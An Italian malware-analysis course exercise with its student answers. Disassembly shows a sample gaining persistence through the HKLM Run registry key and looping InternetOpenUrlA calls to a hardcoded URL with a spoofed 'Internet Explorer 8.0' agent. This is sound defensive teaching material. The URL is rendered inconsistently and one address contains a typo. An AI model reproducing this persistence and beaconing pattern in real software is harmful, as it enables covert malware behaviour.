# S11/L1- Intro e concetti di Windows avanzati

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

Identificare il client software utilizzato dal malware per la connessione ad Internet

Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
00040286F   push    2               ; samDesired
00402871    push    eax             ; ulOptions
00402872    push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877    push    HKEY_LOCAL_MACHINE ; hKey
0040287C    call    esi ; RegOpenKeyExW
0040287E    test    eax, eax
00402880    jnz     short loc_4028C5
00402882
00402882 loc_402882:
00402882    lea     ecx, [esp+424h+Data]
00402886    push    ecx             ; lpString
00402887    mov     bl, 1
00402889    call    ds:lstrlenW
0040288F    lea     edx, [eax+eax+2]
00402893    push    edx             ; cbData
00402894    mov     edx, [esp+428h+hKey]
00402898    lea     eax, [esp+428h+Data]
0040289C    push    eax             ; lpData
0040289D    push    1               ; dwType
0040289F    push    0               ; Reserved
004028A1    lea     ecx, [esp+434h+ValueName]
004028A8    push    ecx             ; lpValueName
004028A9    push    edx             ; hKey
004028AA    call    ds:RegSetValueExW
```

```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

1) **Persistenza del Malware:** Il malware cerca di ottenere persistenza nel sistema manipolando la chiave del Registro di sistema. Il segmento di codice coinvolto è il seguente:

```
push    2               ; samDesired
push    eax             ; ulOptions
push    offset Subkey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push    HKEY_LOCAL_MACHINE ; hKey(dove sono contenuti i record e le configurazioni della
macchina)
call    esi             ; RegOpenKeyExW
```

Qui, il malware apre la chiave del Registro di sistema "Software\Microsoft\Windows\CurrentVersion\Run" con privilegi appropriati (`samDesired`), cercando così di inserire se stesso tra i programmi in esecuzione all'avvio del sistema.

2) **Client Software per la Connessione a Internet:** Il malware utilizza la libreria `WinINet` di Windows per effettuare una connessione a Internet. Il segmento di codice coinvolto è il seguente:

```
push    0               ; dwFlags
push    0               ; lpszProxyBypass
push    0               ; lpszProxy
push    1               ; dwAccessType
push    offset szAgent  ; "Internet Explorer 8.0"
call    ds:InternetOpenA (funzione utilizzata per inizializzare una connessione verso
Internet)
```

Qui, il malware apre una connessione a Internet utilizzando `InternetOpenA` e specifica "Internet Explorer 8.0" come agente utente.

3) **URL di Connessione del Malware:** L'URL al quale il malware tenta di connettersi è evidenziato nel seguente segmento di codice:

```
3. push    0               ; dwContent
4. push    80000000h       ; dwFlags
5. push    0               ; dwHeadersLength
6. push    0               ; lpszHeaders
7. push    offset szUrl    ; "http://www.malware12com"
8. push    esi             ; hInternet
9. call    edi             ; InternetOpenUrlA (utilizzata invece per la connessione
   ad un determinato URL)
```

10. Qui, il malware tenta di connettersi all'URL "http://www.malware12com" utilizzando `InternetOpenUrlA`. Questo segmento indica una possibile attività di download o comunicazione con un server remoto.

**(BONUS)** Significato e funzionamento di lea:

L'istruzione lea (load effective address x86/x86-64) viene utilizzata per inserire un indirizzo di memoria nella destinazione.

Calcola e carica l'indirizzo effettivo di un operando nella destinazione specificata, senza accedere direttamente alla memoria. È spesso utilizzata per eseguire operazioni di calcolo degli indirizzi senza leggere o scrivere dati.

La sintassi generale dell'istruzione `lea` è la seguente:

```
lea destination, source
```

Esempio:

```
lea ecx, [esp+424h+Data]
```

Questa istruzione carica l'indirizzo effettivo della variabile o dell'area di memoria indicata da `[esp+424h+Data]` nel registro `ecx`. Non carica i dati stessi, ma solo l'indirizzo.